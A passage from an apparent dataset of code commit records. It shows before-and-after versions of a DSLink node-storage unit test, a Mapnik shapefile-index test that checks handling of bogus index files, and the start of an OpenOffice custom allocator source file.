list_cache;\n link->connect([&](const shared_ptr_<Connection> connection,\n ref_<DsLinkRequester> link_req) {\n\n \/\/ invoke the Add_Child node to add new child\n auto request = make_ref_<InvokeRequestMessage>();\n request->set_target_path(\"Main\/Add_Child\");\n request->set_body(Var(\"Child_A\").to_msgpack());\n link_req->invoke(\n [&](IncomingInvokeStream &, ref_<const InvokeResponseMessage> &&msg) {\n EXPECT_EQ(msg->get_status(), MessageStatus::CLOSED);\n invoked = true;\n },\n std::move(request));\n\n \/\/ invoke the Add_Child node to add second child\n auto request2 = make_ref_<InvokeRequestMessage>();\n request2->set_target_path(\"Main\/Add_Child\");\n request2->set_body(Var(\"Child_B\").to_msgpack());\n link_req->invoke(\n [&](IncomingInvokeStream &, ref_<const InvokeResponseMessage> &&msg) {\n EXPECT_EQ(msg->get_status(), MessageStatus::CLOSED);\n invoked2 = true;\n },\n std::move(request2));\n\n });\n\n WAIT_EXPECT_TRUE(1000, [&]() -> bool { return invoked && invoked2; });\n\n SimpleStorage simple_storage(nullptr);\n\n std::string storage_key(\"vk123\");\n\n std::unique_ptr<StorageBucket> storage_bucket =\n simple_storage.get_bucket(\"node\");\n\n storage_bucket->remove_all();\n \/\/save main node\n main_node->save(*storage_bucket, \"Main\", false, true);\n\n destroy_dslink_in_strand(link);\n main_node.reset();\n\n typedef std::vector<std::vector<string_>> ListResponses;\n auto link2 = make_ref_<DsLink>(argc, argv, \"mydslink\", \"1.0.0\", app);\n \/\/ filter log for unit test\n static_cast<ConsoleLogger &>(Logger::_()).filter =\n Logger::FATAL_ | Logger::ERROR_ | Logger::WARN__;\n\n ref_<MockNodeMain> main_node2 =\n make_ref_<MockNodeMain>(link2->strand->get_ref());\n main_node2->add_list_child(\n \"Add_Child\",\n make_ref_<SimpleInvokeNode>(\n link2->strand->get_ref(),\n [&](Var &&v, SimpleInvokeNode &node, OutgoingInvokeStream &stream,\n ref_<NodeState> &&parent) {\n\n auto *parent_model = parent->model_cast<NodeModel>();\n\n parent_model->add_list_child(\n v.to_string(),\n make_ref_<MockNodeChild>(link2->strand->get_ref(), v));\n\n stream.close();\n }));\n\n bool connected = false;\n bool flag1 = false;\n ListResponses root_list_responses;\n ref_<IncomingListCache> list_cache2;\n\n SimpleStorage simple_storage2(nullptr);\n\n std::unique_ptr<StorageBucket> storage_bucket2 =\n simple_storage2.get_bucket(\"node\");\n\n int read_order = 0;\n auto read_all_callback = [&](std::string storage_key,\n std::vector<uint8_t> vec,\n BucketReadStatus read_status) {\n\n if (storage_key == \"Main\") {\n std::string str(vec.begin(), vec.end());\n\n auto v = Var::from_json(str);\n \/\/load main node\n main_node2->load(v.get_map());\n }\n\n return;\n };\n\n storage_bucket2->read_all(read_all_callback, [&]() {\n EXPECT_EQ(read_order, 0);\n return;\n });\n\n link2->init_responder(std::move(main_node2));\n link2->connect([&](const shared_ptr_<Connection> connection,\n ref_<DsLinkRequester> link_req) {\n connected = true;\n\n \/\/ list on Main node\n auto list_cache1 = link_req->list(\n \"Main\",\n [\n &,\n link_req = static_cast<ref_<DsLinkRequester>>(link_req->get_ref())\n ](IncomingListCache & cache, const std::vector<string_> &str) {\n root_list_responses.push_back(str);\n \/\/verify structure of Main node\n EXPECT_TRUE(cache.get_map().size() != 0);\n {\n EXPECT_TRUE(root_list_responses.size() == 1);\n EXPECT_TRUE(root_list_responses[0].size() == 0);\n EXPECT_TRUE(cache.get_map().at(\"Child_A\").is_map());\n EXPECT_EQ(\n cache.get_map().at(\"Child_A\").get_map().at(\"$is\").to_string(),\n \"Child_A\");\n EXPECT_TRUE(cache.get_map().at(\"Child_B\").is_map());\n EXPECT_EQ(\n cache.get_map().at(\"Child_B\").get_map().at(\"$is\").to_string(),\n \"Child_B\");\n }\n flag1 = true;\n });\n });\n\n WAIT_EXPECT_TRUE(1000, [&]() -> bool { return connected && flag1; });\n\n destroy_dslink_in_strand(link2);\n storage_bucket2->remove_all();\n\n app->close();\n WAIT_EXPECT_TRUE(3000, [&]() -> bool { return app->is_stopped(); });\n\n if (!app->is_stopped()) {\n app->force_stop();\n }\n app->wait();\n}\n<commit_msg>fix shared bucket<commit_after>#include \"dsa\/crypto.h\"\n#include \"dsa\/responder.h\"\n\n#include <gtest\/gtest.h>\n#include <boost\/filesystem\/operations.hpp>\n#include <boost\/format.hpp>\n#include <thread>\n#include \"..\/test_config.h\"\n#include \"dslink.h\"\n#include \"module\/default\/console_logger.h\"\n#include \"module\/logger.h\"\n#include \"util\/string.h\"\n\n#include \"..\/async_test.h\"\n#include \"dsa\/stream.h\"\n\n#include \"message\/request\/invoke_request_message.h\"\n\nusing boost::format;\n\nusing namespace dsa;\nusing namespace std;\n\nusing DslinkTest = SetUpBase;\nclass MockNodeChild : public NodeModel {\n public:\n explicit MockNodeChild(LinkStrandRef strand, Var v)\n : NodeModel(std::move(strand)) {\n update_property(\"$is\", Var(v));\n };\n bool save_child(const string_ &name) const override { return true; };\n};\n\nclass MockNodeMain : public NodeModel {\n public:\n explicit MockNodeMain(LinkStrandRef strand) : NodeModel(std::move(strand)){};\n\n bool save_child(const string_ &name) const override {\n if (name == \"Add_Child\")\n return false;\n else\n return true;\n };\n\n void on_load_child(const string_ &name, VarMap &map) override {\n add_list_child(\n name, make_ref_<MockNodeChild>(this->_strand->get_ref(), Var(name)));\n };\n};\n\nTEST_F(DslinkTest, SaveMainNode) {\n shared_ptr<App> app = make_shared<App>();\n\n const char *argv[] = {\".\/testResp\", \"--broker\", \"ds:\/\/127.0.0.1:4121\",\n \"-l\", \"info\", \"--thread\",\n \"4\", \"--server-port\", \"4121\"};\n int argc = 9;\n auto link = make_ref_<DsLink>(argc, argv, \"mydslink\", \"1.0.0\", app);\n \/\/ filter log for unit test\n static_cast<ConsoleLogger &>(Logger::_()).filter =\n Logger::FATAL_ | Logger::ERROR_ | Logger::WARN__;\n\n ref_<MockNodeMain> main_node =\n make_ref_<MockNodeMain>(link->strand->get_ref());\n main_node->add_list_child(\n \"Add_Child\",\n make_ref_<SimpleInvokeNode>(\n link->strand->get_ref(),\n [&](Var &&v, SimpleInvokeNode &node, OutgoingInvokeStream &stream,\n ref_<NodeState> &&parent) {\n\n auto *parent_model = parent->model_cast<NodeModel>();\n \/\/ add new child node\n parent_model->add_list_child(\n v.to_string(),\n make_ref_<MockNodeChild>(link->strand->get_ref(), v));\n\n stream.close();\n }));\n\n link->init_responder(main_node);\n bool invoked = false;\n bool invoked2 = false;\n ref_<IncomingListCache> list_cache;\n link->connect([&](const shared_ptr_<Connection> connection,\n ref_<DsLinkRequester> link_req) {\n\n \/\/ invoke the Add_Child node to add new child\n auto request = make_ref_<InvokeRequestMessage>();\n request->set_target_path(\"Main\/Add_Child\");\n request->set_body(Var(\"Child_A\").to_msgpack());\n link_req->invoke(\n [&](IncomingInvokeStream &, ref_<const InvokeResponseMessage> &&msg) {\n EXPECT_EQ(msg->get_status(), MessageStatus::CLOSED);\n invoked = true;\n },\n std::move(request));\n\n \/\/ invoke the Add_Child node to add second child\n auto request2 = make_ref_<InvokeRequestMessage>();\n request2->set_target_path(\"Main\/Add_Child\");\n request2->set_body(Var(\"Child_B\").to_msgpack());\n link_req->invoke(\n [&](IncomingInvokeStream &, ref_<const InvokeResponseMessage> &&msg) {\n EXPECT_EQ(msg->get_status(), MessageStatus::CLOSED);\n invoked2 = true;\n },\n std::move(request2));\n\n });\n\n WAIT_EXPECT_TRUE(1000, [&]() -> bool { return invoked && invoked2; });\n\n SimpleStorage simple_storage(nullptr);\n\n std::string storage_key(\"vk123\");\n\n shared_ptr_<StorageBucket> storage_bucket =\n simple_storage.get_shared_bucket(\"node\");\n\n storage_bucket->remove_all();\n \/\/save main node\n main_node->save(*storage_bucket, \"Main\", false, true);\n\n destroy_dslink_in_strand(link);\n main_node.reset();\n\n typedef std::vector<std::vector<string_>> ListResponses;\n auto link2 = make_ref_<DsLink>(argc, argv, \"mydslink\", \"1.0.0\", app);\n \/\/ filter log for unit test\n static_cast<ConsoleLogger &>(Logger::_()).filter =\n Logger::FATAL_ | Logger::ERROR_ | Logger::WARN__;\n\n ref_<MockNodeMain> main_node2 =\n make_ref_<MockNodeMain>(link2->strand->get_ref());\n main_node2->add_list_child(\n \"Add_Child\",\n make_ref_<SimpleInvokeNode>(\n link2->strand->get_ref(),\n [&](Var &&v, SimpleInvokeNode &node, OutgoingInvokeStream &stream,\n ref_<NodeState> &&parent) {\n\n auto *parent_model = parent->model_cast<NodeModel>();\n\n parent_model->add_list_child(\n v.to_string(),\n make_ref_<MockNodeChild>(link2->strand->get_ref(), v));\n\n stream.close();\n }));\n\n bool connected = false;\n bool flag1 = false;\n ListResponses root_list_responses;\n ref_<IncomingListCache> list_cache2;\n\n SimpleStorage simple_storage2(nullptr);\n\n shared_ptr_<StorageBucket> storage_bucket2 =\n simple_storage2.get_shared_bucket(\"node\");\n\n int read_order = 0;\n auto read_all_callback = [&](std::string storage_key,\n std::vector<uint8_t> vec,\n BucketReadStatus read_status) {\n\n if (storage_key == \"Main\") {\n std::string str(vec.begin(), vec.end());\n\n auto v = Var::from_json(str);\n \/\/load main node\n main_node2->load(v.get_map());\n }\n\n return;\n };\n\n storage_bucket2->read_all(read_all_callback, [&]() {\n EXPECT_EQ(read_order, 0);\n return;\n });\n\n link2->init_responder(std::move(main_node2));\n link2->connect([&](const shared_ptr_<Connection> connection,\n ref_<DsLinkRequester> link_req) {\n connected = true;\n\n \/\/ list on Main node\n auto list_cache1 = link_req->list(\n \"Main\",\n [\n &,\n link_req = static_cast<ref_<DsLinkRequester>>(link_req->get_ref())\n ](IncomingListCache & cache, const std::vector<string_> &str) {\n root_list_responses.push_back(str);\n \/\/verify structure of Main node\n EXPECT_TRUE(cache.get_map().size() != 0);\n {\n EXPECT_TRUE(root_list_responses.size() == 1);\n EXPECT_TRUE(root_list_responses[0].size() == 0);\n EXPECT_TRUE(cache.get_map().at(\"Child_A\").is_map());\n EXPECT_EQ(\n cache.get_map().at(\"Child_A\").get_map().at(\"$is\").to_string(),\n \"Child_A\");\n EXPECT_TRUE(cache.get_map().at(\"Child_B\").is_map());\n EXPECT_EQ(\n cache.get_map().at(\"Child_B\").get_map().at(\"$is\").to_string(),\n \"Child_B\");\n }\n flag1 = true;\n });\n });\n\n WAIT_EXPECT_TRUE(1000, [&]() -> bool { return connected && flag1; });\n\n destroy_dslink_in_strand(link2);\n storage_bucket2->remove_all();\n\n app->close();\n WAIT_EXPECT_TRUE(3000, [&]() -> bool { return app->is_stopped(); });\n\n if (!app->is_stopped()) {\n app->force_stop();\n }\n app->wait();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include \"catch.hpp\"\n\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/datasource_cache.hpp>\n#include <mapnik\/mapped_memory_cache.hpp>\n#include <mapnik\/util\/fs.hpp>\n#include <cstdlib>\n#include <fstream>\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore.hpp>\n#include <boost\/algorithm\/string.hpp>\n#pragma GCC diagnostic pop\n\nnamespace {\n\nstd::size_t count_shapefile_features(std::string const& filename)\n{\n#if defined(MAPNIK_MEMORY_MAPPED_FILE)\n mapnik::mapped_memory_cache::instance().clear();\n#endif\n mapnik::parameters params;\n params[\"type\"] = \"shape\";\n params[\"file\"] = filename;\n auto ds = mapnik::datasource_cache::instance().create(params);\n REQUIRE(ds != nullptr);\n CHECK(ds->type() == mapnik::datasource::datasource_t::Vector);\n auto fields = ds->get_descriptor().get_descriptors();\n mapnik::query query(ds->envelope());\n for (auto const& field : fields)\n {\n query.add_property_name(field.get_name());\n }\n auto features = ds->features(query);\n REQUIRE(features != nullptr);\n\n std::size_t feature_count = 0;\n auto feature = features->next();\n while (feature)\n {\n ++feature_count;\n feature = features->next();\n }\n\n return feature_count;\n}\n\nint create_shapefile_index(std::string const& filename, bool index_parts, bool silent = true)\n{\n std::string cmd;\n if (std::getenv(\"DYLD_LIBRARY_PATH\") != nullptr)\n {\n cmd += std::string(\"DYLD_LIBRARY_PATH=\") + std::getenv(\"DYLD_LIBRARY_PATH\") + \" \";\n }\n\n cmd += \"shapeindex \";\n if (index_parts) cmd+= \"--index-parts \";\n cmd += filename;\n if (silent)\n {\n#ifndef _WINDOWS\n cmd += \" 2>\/dev\/null\";\n#else\n cmd += \" 2> nul\";\n#endif\n }\n return std::system(cmd.c_str());\n}\n\n}\n\nTEST_CASE(\"invalid shapeindex\")\n{\n std::string shape_plugin(\".\/plugins\/input\/shape.input\");\n if (mapnik::util::exists(shape_plugin))\n {\n SECTION(\"Invalid index\")\n {\n std::string path = \"test\/data\/shp\/boundaries.shp\";\n std::string index_path = path.substr(0, path.rfind(\".\")) + \".index\";\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n \/\/ count features\n\n std::size_t feature_count = count_shapefile_features(path);\n\n \/\/ create invalid index\n std::ofstream index(index_path.c_str(), std::ios::binary);\n std::string buf(\"mapnik-invalid-index.................\");\n index.write(buf.c_str(), buf.size());\n index.close();\n\n \/\/ count features\n std::size_t feature_count_indexed = count_shapefile_features(path);\n \/\/ ensure number of features are the same\n REQUIRE(feature_count == feature_count_indexed);\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n }\n }\n}\n\nTEST_CASE(\"shapeindex\")\n{\n std::string shape_plugin(\".\/plugins\/input\/shape.input\");\n if (mapnik::util::exists(shape_plugin))\n {\n SECTION(\"Index\")\n {\n for (auto const& path : mapnik::util::list_directory(\"test\/data\/shp\/\"))\n {\n if (boost::iends_with(path,\".shp\"))\n {\n for (bool index_parts : {false, true} )\n {\n CAPTURE(path);\n CAPTURE(index_parts);\n\n std::string index_path = path.substr(0, path.rfind(\".\")) + \".index\";\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n \/\/ count features\n std::size_t feature_count = count_shapefile_features(path);\n \/\/ create *.index\n REQUIRE(create_shapefile_index(path, index_parts) == 0);\n if (feature_count == 0)\n {\n REQUIRE(!mapnik::util::exists(index_path)); \/\/ index won't be created if there's no features\n }\n \/\/ count features\n std::size_t feature_count_indexed = count_shapefile_features(path);\n \/\/ ensure number of features are the same\n REQUIRE(feature_count == feature_count_indexed);\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n }\n }\n }\n }\n }\n}\n<commit_msg>test bogus *.index files are handled correctly (ref #3300) + indirectly tests #3306 via requiring `mapped_memory_cache::instance().clear()`<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2015 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n#include \"catch.hpp\"\n\n#include <mapnik\/datasource.hpp>\n#include <mapnik\/datasource_cache.hpp>\n#include <mapnik\/mapped_memory_cache.hpp>\n#include <mapnik\/util\/fs.hpp>\n#include <cstdlib>\n#include <fstream>\n#pragma GCC diagnostic push\n#include <mapnik\/warning_ignore.hpp>\n#include <boost\/algorithm\/string.hpp>\n#pragma GCC diagnostic pop\n\nnamespace {\n\nstd::size_t count_shapefile_features(std::string const& filename)\n{\n#if defined(MAPNIK_MEMORY_MAPPED_FILE)\n mapnik::mapped_memory_cache::instance().clear();\n#endif\n mapnik::parameters params;\n params[\"type\"] = \"shape\";\n params[\"file\"] = filename;\n auto ds = mapnik::datasource_cache::instance().create(params);\n REQUIRE(ds != nullptr);\n CHECK(ds->type() == mapnik::datasource::datasource_t::Vector);\n auto fields = ds->get_descriptor().get_descriptors();\n mapnik::query query(ds->envelope());\n for (auto const& field : fields)\n {\n query.add_property_name(field.get_name());\n }\n auto features = ds->features(query);\n REQUIRE(features != nullptr);\n\n std::size_t feature_count = 0;\n auto feature = features->next();\n while (feature)\n {\n ++feature_count;\n feature = features->next();\n }\n\n return feature_count;\n}\n\nint create_shapefile_index(std::string const& filename, bool index_parts, bool silent = true)\n{\n std::string cmd;\n if (std::getenv(\"DYLD_LIBRARY_PATH\") != nullptr)\n {\n cmd += std::string(\"DYLD_LIBRARY_PATH=\") + std::getenv(\"DYLD_LIBRARY_PATH\") + \" \";\n }\n\n cmd += \"shapeindex \";\n if (index_parts) cmd+= \"--index-parts \";\n cmd += filename;\n if (silent)\n {\n#ifndef _WINDOWS\n cmd += \" 2>\/dev\/null\";\n#else\n cmd += \" 2> nul\";\n#endif\n }\n return std::system(cmd.c_str());\n}\n\n}\n\nTEST_CASE(\"invalid shapeindex\")\n{\n std::string shape_plugin(\".\/plugins\/input\/shape.input\");\n if (mapnik::util::exists(shape_plugin))\n {\n SECTION(\"Invalid index\")\n {\n for (auto val : {std::make_tuple(true, std::string(\"mapnik-invalid-index.................\")), \/\/ invalid header\n std::make_tuple(false, std::string(\"mapnik-index.................\"))}) \/\/ valid header + invalid index\n {\n std::string path = \"test\/data\/shp\/boundaries.shp\";\n std::string index_path = path.substr(0, path.rfind(\".\")) + \".index\";\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n \/\/ count features\n\n std::size_t feature_count = count_shapefile_features(path);\n\n \/\/ create index\n std::ofstream index(index_path.c_str(), std::ios::binary);\n index.write(std::get<1>(val).c_str(), std::get<1>(val).size());\n index.close();\n\n \/\/ count features\n std::size_t feature_count_indexed = count_shapefile_features(path);\n if (std::get<0>(val)) \/\/ fallback to un-indexed access\n {\n \/\/ ensure number of features are the same\n CHECK(feature_count == feature_count_indexed);\n }\n else \/\/ the header is valid but index file itself is not - expect datasource to fail and return 0 features.\n {\n CHECK(feature_count_indexed == 0);\n }\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n }\n }\n }\n}\n\nTEST_CASE(\"shapeindex\")\n{\n std::string shape_plugin(\".\/plugins\/input\/shape.input\");\n if (mapnik::util::exists(shape_plugin))\n {\n SECTION(\"Index\")\n {\n for (auto const& path : mapnik::util::list_directory(\"test\/data\/shp\/\"))\n {\n if (boost::iends_with(path,\".shp\"))\n {\n for (bool index_parts : {false, true} )\n {\n CAPTURE(path);\n CAPTURE(index_parts);\n\n std::string index_path = path.substr(0, path.rfind(\".\")) + \".index\";\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n \/\/ count features\n std::size_t feature_count = count_shapefile_features(path);\n \/\/ create *.index\n REQUIRE(create_shapefile_index(path, index_parts) == 0);\n if (feature_count == 0)\n {\n REQUIRE(!mapnik::util::exists(index_path)); \/\/ index won't be created if there's no features\n }\n \/\/ count features\n std::size_t feature_count_indexed = count_shapefile_features(path);\n \/\/ ensure number of features are the same\n REQUIRE(feature_count == feature_count_indexed);\n \/\/ remove *.index if present\n if (mapnik::util::exists(index_path))\n {\n mapnik::util::remove(index_path);\n }\n }\n }\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: operators_new_delete.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: hr $ $Date: 2003-03-26 16:45:33 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef WNT \/* avoid 'std::bad_alloc' unresolved externals *\/\n#define _CRTIMP\n#define _NTSDK\n#endif \/* WNT *\/\n\n#ifndef INCLUDED_ALGORITHM\n#include <algorithm>\n#define INCLUDED_ALGORITHM\n#endif\n\n#ifndef INCLUDED_NEW\n#include <new>\n#define INCLUDED_NEW\n#endif\n\n#ifndef INCLUDED_STRING_H\n#include <string.h>\n#define INCLUDED_STRING_H\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n\n#ifndef _RTL_ALLOC_H_\n#include <rtl\/alloc.h>\n#endif\n\nusing std::nothrow_t;\n\n\/\/ =======================================================================\n\/\/ AllocatorTraits\n\/\/ =======================================================================\n\nnamespace\n{\n\nstruct AllocatorTraits\n{\n typedef char const signature_type[8];\n const signature_type & m_signature;\n\n explicit AllocatorTraits (signature_type const & s) SAL_THROW(())\n : m_signature (s)\n {}\n\n std::size_t size (std::size_t n) const SAL_THROW(())\n {\n n = std::max(n, std::size_t(1));\n#if defined(DEBUG) || defined(_DEBUG)\n n += sizeof(signature_type);\n#endif \/* DEBUG *\/\n return n;\n }\n\n void* init (void * p) const SAL_THROW(())\n {\n#if defined(DEBUG) || defined(_DEBUG)\n memcpy (p, m_signature, sizeof(signature_type));\n p = static_cast<char*>(p) + sizeof(signature_type);\n#endif \/* DEBUG *\/\n return p;\n }\n\n void* fini (void * p) const SAL_THROW(())\n {\n#if defined(DEBUG) || defined(_DEBUG)\n p = static_cast<char*>(p) - sizeof(signature_type);\n if (memcmp (p, m_signature, sizeof(signature_type)) != 0)\n {\n OSL_ENSURE(0, \"operator delete mismatch\");\n }\n#endif \/* DEBUG *\/\n return p;\n }\n};\n\n\/\/ =======================================================================\n\nstruct VectorTraits : public AllocatorTraits\n{\n static const signature_type g_signature;\n\n VectorTraits() SAL_THROW(())\n : AllocatorTraits (g_signature)\n {}\n};\n\nstruct ScalarTraits : public AllocatorTraits\n{\n static const signature_type g_signature;\n\n ScalarTraits() SAL_THROW(())\n : AllocatorTraits (g_signature)\n {}\n};\n\nconst AllocatorTraits::signature_type VectorTraits::g_signature = \"new[]()\";\nconst AllocatorTraits::signature_type ScalarTraits::g_signature = \"new() \";\n\n} \/\/ anonymous namespace\n\n\/\/ =======================================================================\n\/\/ Allocator\n\/\/ =======================================================================\n\nstatic void default_handler (void)\n{\n \/\/ Multithreading race in 'std::set_new_handler()' call sequence below.\n throw std::bad_alloc();\n}\n\n\/\/ =======================================================================\n\nstatic void* allocate (\n std::size_t n, AllocatorTraits const & rTraits)\n SAL_THROW((std::bad_alloc))\n{\n n = rTraits.size (n);\n for (;;)\n {\n void * p = rtl_allocateMemory (sal_uInt32(n));\n if (p != 0)\n return rTraits.init (p);\n\n std::new_handler d = default_handler, f = std::set_new_handler (d);\n if (f != d)\n std::set_new_handler (f);\n\n if (f == 0)\n throw std::bad_alloc();\n (*f)();\n }\n}\n\n\/\/ =======================================================================\n\nstatic void* allocate (\n std::size_t n, AllocatorTraits const & rTraits, std::nothrow_t const &)\n SAL_THROW(())\n{\n try\n {\n return allocate (n, rTraits);\n }\n catch (std::bad_alloc const &)\n {\n return (0);\n }\n}\n\n\/\/ =======================================================================\n\nstatic void deallocate (void * p, AllocatorTraits const & rTraits)\n SAL_THROW(())\n{\n if (p)\n {\n rtl_freeMemory (rTraits.fini(p));\n }\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new T; delete p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new (std::size_t n) throw (std::bad_alloc)\n{\n return allocate (n, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete (void * p) throw ()\n{\n deallocate (p, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new(nothrow) T; delete(nothrow) p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new (std::size_t n, std::nothrow_t const &) throw ()\n{\n return allocate (n, ScalarTraits(), nothrow_t());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete (void * p, std::nothrow_t const &) throw ()\n{\n deallocate (p, ScalarTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new T[n]; delete[] p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new[] (std::size_t n) throw (std::bad_alloc)\n{\n return allocate (n, VectorTraits());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete[] (void * p) throw ()\n{\n deallocate (p, VectorTraits());\n}\n\n\/\/ =======================================================================\n\/\/ T * p = new(nothrow) T[n]; delete(nothrow)[] p;\n\/\/ =======================================================================\n\nvoid* SAL_CALL operator new[] (std::size_t n, std::nothrow_t const &) throw ()\n{\n return allocate (n, VectorTraits(), nothrow_t());\n}\n\n\/\/ =======================================================================\n\nvoid SAL_CALL operator delete[] (void * p, std::nothrow_t const &) throw ()\n{\n deallocate (p, VectorTraits());\n}\n\n\/\/ =======================================================================\n<commit_msg>INTEGRATION: CWS dbgmacros1 (1.1.4.1.42); FILE MERGED 2003\/04\/09 12:08:11 kso 1.1.4.1.42.1: #108413# - debug macro unification.<commit_after>\/*************************************************************************\n *\n * $RCSfile: operators_new_delete.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: vg $ $Date: 2003-04-15 17:40:45 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef WNT \/* avoid 'std::bad_alloc' unresolved externals *\/\n#define _CRTIMP\n#define _NTSDK\n#endif \/* WNT *\/\n\n#ifndef INCLUDED_ALGORITHM\n#include <algorithm>\n#define INCLUDED_ALGORITHM\n#endif\n\n#ifndef INCLUDED_NEW\n#include <new>\n#define INCLUDED_NEW\n#endif\n\n#ifndef 